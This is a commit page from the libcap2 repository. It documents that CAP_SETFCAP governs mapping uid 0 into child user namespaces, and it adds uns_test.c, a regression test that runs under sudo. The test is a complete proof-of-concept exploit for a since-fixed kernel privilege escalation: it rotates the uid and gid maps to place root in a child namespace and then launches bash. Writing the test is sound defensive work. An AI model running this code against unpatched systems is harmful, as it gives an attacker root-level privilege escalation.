summaryrefslogtreecommitdiff
diff options
context:
space:
mode:
authorAndrew G. Morgan <morgan@kernel.org>2021-05-16 15:46:13 -0700
committerAndrew G. Morgan <morgan@kernel.org>2021-05-16 16:15:28 -0700
commit572b1f8099c05e2840ae66d52d8bee8e547bad39 (patch)
treeb1195d72340deebcf0f9e12e3c30a88ac150f60e
parentfe4c27de243b13973acff3cda2c8c8ff4a768855 (diff)
downloadlibcap2-572b1f8099c05e2840ae66d52d8bee8e547bad39.tar.gz
Validate that user namespaces require CAP_SETFCAP to map UID=0.
I found this corner case privilege escalation in December 2020. Now that it is fixed upstream and widely deployed, add a test so we don't regress. [If you find 'make sutotest' fails for you, you should upgrade your kernel.] Signed-off-by: Andrew G. Morgan <morgan@kernel.org>
-rw-r--r--cap/names.go5
-rw-r--r--doc/values/31.txt5
-rw-r--r--progs/capshdoc.h5
-rw-r--r--tests/.gitignore1
-rw-r--r--tests/Makefile29
-rw-r--r--tests/uns_test.c154
6 files changed, 188 insertions, 11 deletions
diff --git a/cap/names.go b/cap/names.go
index fefb4a4..c082d28 100644
--- a/cap/names.go
+++ b/cap/names.go
@@ -259,6 +259,11 @@ const (
AUDIT_CONTROL
// SETFCAP allows a process to set capabilities on files.
+ // Permits a process to uid_map the uid=0 of the
+ // parent user namespace into that of the child
+ // namespace. Also, permits a process to override
+ // securebits locks through user namespace
+ // creation.
SETFCAP
// MAC_OVERRIDE allows a process to override Manditory Access Control
diff --git a/doc/values/31.txt b/doc/values/31.txt
index 163b048..ae97df2 100644
--- a/doc/values/31.txt
+++ b/doc/values/31.txt
@@ -1 +1,6 @@
Allows a process to set capabilities on files.
+Permits a process to uid_map the uid=0 of the
+parent user namespace into that of the child
+namespace. Also, permits a process to override
+securebits locks through user namespace
+creation.
diff --git a/progs/capshdoc.h b/progs/capshdoc.h
index efe4797..79953b3 100644
--- a/progs/capshdoc.h
+++ b/progs/capshdoc.h
@@ -276,6 +276,11 @@ static const char *explanation30[] = { /* cap_audit_control = 30 */
};
static const char *explanation31[] = { /* cap_setfcap = 31 */
"Allows a process to set capabilities on files.",
+ "Permits a process to uid_map the uid=0 of the",
+ "parent user namespace into that of the child",
+ "namespace. Also, permits a process to override",
+ "securebits locks through user namespace",
+ "creation.",
NULL
};
static const char *explanation32[] = { /* cap_mac_override = 32 */
diff --git a/tests/.gitignore b/tests/.gitignore
index ac7ffb0..d0b3f15 100644
--- a/tests/.gitignore
+++ b/tests/.gitignore
@@ -5,3 +5,4 @@ libcap_launch_test
libcap_psx_launch_test
exploit
noexploit
+uns_test
diff --git a/tests/Makefile b/tests/Makefile
index 1e7039d..3a917c4 100644
--- a/tests/Makefile
+++ b/tests/Makefile
@@ -8,9 +8,9 @@ include ../Make.Rules
#
all:
- make libcap_launch_test
+ $(MAKE) libcap_launch_test uns_test
ifeq ($(PTHREADS),yes)
- make psx_test libcap_psx_test libcap_psx_launch_test
+ $(MAKE) psx_test libcap_psx_test libcap_psx_launch_test
endif
install: all
@@ -30,31 +30,32 @@ endif
endif
../libcap/libcap.so:
- make -C ../libcap libcap.so
+ $(MAKE) -C ../libcap libcap.so
../libcap/libcap.a:
- make -C ../libcap libcap.a
+ $(MAKE) -C ../libcap libcap.a
ifeq ($(PTHREADS),yes)
../libcap/libpsx.so:
- make -C ../libcap libpsx.so
+ $(MAKE) -C ../libcap libpsx.so
../libcap/libpsx.a:
- make -C ../libcap libpsx.a
+ $(MAKE) -C ../libcap libpsx.a
endif
../progs/tcapsh-static:
- make -C ../progs tcapsh-static
+ $(MAKE) -C ../progs tcapsh-static
test:
ifeq ($(PTHREADS),yes)
- make run_psx_test run_libcap_psx_test
+ $(MAKE) run_psx_test run_libcap_psx_test
endif
sudotest: test
- make run_libcap_launch_test
+ $(MAKE) run_uns_test
+ $(MAKE) run_libcap_launch_test
ifeq ($(PTHREADS),yes)
- make run_libcap_psx_launch_test run_exploit_test
+ $(MAKE) run_libcap_psx_launch_test run_exploit_test
endif
# unprivileged
@@ -71,6 +72,12 @@ libcap_psx_test: libcap_psx_test.c $(DEPS)
$(CC) $(CFLAGS) $(IPATH) $< -o $@ $(LINKEXTRA) $(LIBCAPLIB) $(LIBPSXLIB) $(LDFLAGS)
# privileged
+uns_test: uns_test.c $(DEPS)
+ $(CC) $(CFLAGS) $(IPATH) $< -o $@ $(LINKEXTRA) $(LIBCAPLIB) $(LDFLAGS)
+
+run_uns_test: uns_test
+ echo exit | sudo ./uns_test
+
run_libcap_launch_test: libcap_launch_test noop ../progs/tcapsh-static
sudo ./libcap_launch_test
@@ -111,6 +118,6 @@ noop: noop.c
$(CC) $(CFLAGS) $< -o $@ --static
clean:
- rm -f psx_test libcap_psx_test libcap_launch_test *~
+ rm -f psx_test libcap_psx_test libcap_launch_test uns_test *~
rm -f libcap_launch_test libcap_psx_launch_test core noop
rm -f exploit noexploit exploit.o
diff --git a/tests/uns_test.c b/tests/uns_test.c
new file mode 100644
index 0000000..43470cf
--- /dev/null
+++ b/tests/uns_test.c
@@ -0,0 +1,154 @@
+/*
+ * Try unsharing where we remap the root user by rotating uids (0,1,2)
+ * and the corresponding gids too.
+ */
+
+#define _GNU_SOURCE
+
+#include <errno.h>
+#include <sched.h>
+#include <stdio.h>
+#include <stdlib.h>
+#include <string.h>
+#include <sys/capability.h>
+#include <sys/mman.h>
+#include <sys/prctl.h>
+#include <sys/wait.h>
+#include <unistd.h>
+
+#define STACK_RESERVED 10*1024
+
+struct my_pipe {
+ int to[2];
+ int from[2];
+};
+
+static int child(void *data) {
+ struct my_pipe *fdsp = data;
+ static const char * const args[] = {"bash", NULL};
+
+ close(fdsp->to[1]);
+ close(fdsp->from[0]);
+ if (write(fdsp->from[1], "1", 1) != 1) {
+ fprintf(stderr, "failed to confirm setuid(1)\n");
+ exit(1);
+ }
+ close(fdsp->from[1]);
+
+ char datum[1];
+ if (read(fdsp->to[0], datum, 1) != 1) {
+ fprintf(stderr, "failed to wait for parent\n");
+ exit(1);
+ }
+ close(fdsp->to[0]);
+ if (datum[0] == '!') {
+ /* parent failed */
+ exit(0);
+ }
+
+ setsid();
+
+ execv("/bin/bash", (const void *) args);
+ perror("execv failed");
+ exit(1);
+}
+
+int main(int argc, char **argv)
+{
+ static const char *file_formats[] = {
+ "/proc/%d/uid_map",
+ "/proc/%d/gid_map"
+ };
+ static const char id_map[] = "0 1 1\n1 2 1\n2 0 1\n3 3 49999997\n";
+ cap_value_t fscap = CAP_SETFCAP;
+ cap_t orig = cap_get_proc();
+
+ /* Run with this one lowered */
+ cap_set_flag(orig, CAP_EFFECTIVE, 1, &fscap, CAP_CLEAR);
+
+ struct my_pipe fds;
+ if (pipe(&fds.from[0]) || pipe(&fds.to[0])) {
+ perror("no pipes");
+ exit(1);
+ }
+
+ char *stack = mmap(NULL, STACK_RESERVED, PROT_READ|PROT_WRITE,
+ MAP_ANONYMOUS|MAP_PRIVATE|MAP_STACK, -1, 0);
+ if (stack == MAP_FAILED) {
+ perror("no map for stack");
+ exit(1);
+ }
+
+ if (cap_setuid(1)) {
+ perror("failed to cap_setuid(1)");
+ exit(1);
+ }
+
+ if (cap_set_proc(orig)) {
+ perror("failed to raise caps again");
+ exit(1);
+ }
+
+ pid_t pid = clone(&child, stack+STACK_RESERVED, CLONE_NEWUSER|SIGCHLD, &fds);
+ if (pid == -1) {
+ perror("clone failed");
+ exit(1);
+ }
+
+ close(fds.from[1]);
+ close(fds.to[0]);
+
+ if (cap_setuid(0)) {
+ perror("failed to cap_setuid(0)");
+ exit(1);
+ }
+
+ if (cap_set_proc(orig)) {
+ perror("failed to raise caps again");
+ exit(1);
+ }
+
+ char datum[1];
+ if (read(fds.from[0], datum, 1) != 1 || datum[0] != '1') {
+ fprintf(stderr, "failed to read child status\n");
+ exit(1);
+ }
+ close(fds.from[0]);
+
+ for (int i=0; i<2; i++) {
+ char *map_file;
+ if (asprintf(&map_file, file_formats[i], pid) < 0) {
+ perror("allocate string");
+ exit(1);
+ }
+
+ FILE *f = fopen(map_file, "w");
+ free(map_file);
+ if (f == NULL) {
+ perror("fopen failed");
+ exit(1);
+ }
+ int len = fwrite(id_map, 1, strlen(id_map), f);
+ if (len != strlen(id_map)) {
+ goto bailok;
+ }
+ if (fclose(f)) {
+ goto bailok;
+ }
+ }
+
+ write(fds.to[1], ".", 1);
+ close(fds.to[1]);
+
+ fprintf(stderr, "user namespace launched exploit worked - upgrade kernel\n");
+ if (wait(NULL) == pid) {
+ exit(1);
+ }
+ perror("launch failed");
+ exit(1);
+
+bailok:
+ fprintf(stderr, "exploit attempt failed\n");
+ write(fds.to[1], "!", 1);
+ exit(0);
+}